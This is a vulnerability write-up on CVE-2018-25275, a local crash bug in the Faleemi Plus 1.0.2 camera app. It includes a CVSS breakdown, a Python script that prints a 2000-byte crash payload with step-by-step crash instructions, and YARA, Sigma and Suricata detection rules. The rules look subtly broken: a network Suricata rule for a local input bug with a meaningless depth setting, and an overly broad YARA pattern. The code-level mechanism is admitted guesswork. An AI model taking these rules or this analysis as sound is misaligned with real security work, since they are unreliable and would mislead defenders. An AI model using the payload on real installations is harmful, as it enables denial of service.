CVE-2018-25275

Executive Summary

CVE-2018-25275 is a buffer overflow vulnerability in Faleemi Plus version 1.0.2. The flaw allows local attackers to crash the application by supplying oversized input strings (2000 bytes) into the Camera name and DID number fields during camera addition. This is a classic buffer overflow (CWE-120) that can lead to denial of service. The vulnerability has a CVSS score of 6.2 (Medium) and requires local access and user interaction. No patch is currently available, and the vendor status is unknown.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must add a camera with the malicious input.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – The application crashes, causing denial of service.

Threat Level: Medium. The vulnerability requires local access and user interaction, limiting its exploitability. However, it can cause persistent application crashes.

Deep Dive & Mechanics

The vulnerability resides in the camera addition functionality of Faleemi Plus 1.0.2. When a user adds a new camera, the application accepts input for the Camera name and DID number fields. These fields are not properly validated for length. By providing a payload of 2000 bytes or more, the attacker can overflow the buffer, corrupting adjacent memory and causing the application to crash.

The crash is a direct result of a stack-based buffer overflow. The application likely uses a fixed-size buffer (e.g., 256 bytes) for these fields. When the input exceeds this size, it overwrites the return address or other critical data on the stack, leading to an access violation or segmentation fault.

Attack Scenario:

1. The attacker gains local access to the system (e.g., via a shared workstation or remote desktop).
2. The attacker crafts a 2000-byte string (e.g., "A"*2000).
3. The attacker opens Faleemi Plus and navigates to the camera addition dialog.
4. The attacker pastes the malicious string into the Camera name or DID number field.
5. The application crashes immediately upon processing the input.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (pseudocode)
void add_camera(char *camera_name, char *did_number) {
    char name_buffer[256];
    char did_buffer[256];
    strcpy(name_buffer, camera_name); // No bounds checking
    strcpy(did_buffer, did_number);   // No bounds checking
    // ... process camera addition
}

A patched version would use safe functions:

// Patched code (pseudocode)
void add_camera(char *camera_name, char *did_number) {
    char name_buffer[256];
    char did_buffer[256];
    strncpy(name_buffer, camera_name, sizeof(name_buffer) - 1);
    name_buffer[sizeof(name_buffer) - 1] = '\0';
    strncpy(did_buffer, did_number, sizeof(did_buffer) - 1);
    did_buffer[sizeof(did_buffer) - 1] = '\0';
    // ... process camera addition
}

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

#!/usr/bin/env python3
# Exploit for CVE-2018-25275
# This script generates a payload to crash Faleemi Plus 1.0.2

payload = "A" * 2000
print("Camera Name Payload:")
print(payload)
print("\nDID Number Payload:")
print(payload)

Usage:

1. Run the script to generate the payload.
2. Copy the output.
3. Open Faleemi Plus.
4. Click "Add Camera".
5. Paste the payload into the Camera name field.
6. Click "Save" or "OK".
7. The application will crash immediately.

Blue Team

Detection Steps:

1. Monitor for application crashes (Event ID 1000 on Windows).
2. Look for suspiciously long strings in application logs.
3. Use process monitoring tools (e.g., Process Monitor) to detect buffer overflow attempts.

Mitigation:

• Restrict local access to the system.
• Use application whitelisting to prevent unauthorized software.
• Monitor for abnormal application behavior.

Indicators of Compromise (IOCs)

• Application Crash Logs: Event ID 1000 with faulting module FaleemiPlus.exe.
• Memory Dumps: Crash dumps showing stack corruption.
• Registry Keys: None specific.
• Network IOCs: None (local vulnerability).
• File IOCs: None specific.

Detection Engineering

YARA Rule

rule CVE_2018_25275_Faleemi_Buffer_Overflow {
    meta:
        description = "Detects buffer overflow attempts against Faleemi Plus 1.0.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25275"
    strings:
        $payload = /[A-Za-z0-9]{2000,}/  // Matches strings of 2000+ characters
    condition:
        $payload
}

Sigma Rule

title: Faleemi Plus Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2018-25275 by monitoring for long input strings in Faleemi Plus.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: faleemi_plus
detection:
    selection:
        EventID: 1000
        Application: "FaleemiPlus.exe"
    condition: selection
falsepositives:
    - Legitimate long camera names (unlikely)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2018-25275 Faleemi Plus Buffer Overflow Attempt"; content:"|41 41 41 41|"; depth:2000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Camera Addition: If possible, restrict the ability to add cameras to trusted users only.
2. Input Validation: Implement client-side and server-side input length validation (max 255 characters).
3. Application Whitelisting: Use AppLocker or similar to prevent unauthorized execution.

Long-Term Fix:

• The vendor should release a patched version that uses safe string functions (e.g., strncpy instead of strcpy).
• Until a patch is available, consider using a different surveillance application.

Workaround:

• Train users not to paste unknown data into camera fields.
• Use a script to monitor for application crashes and restart the service automatically.

Valters IT

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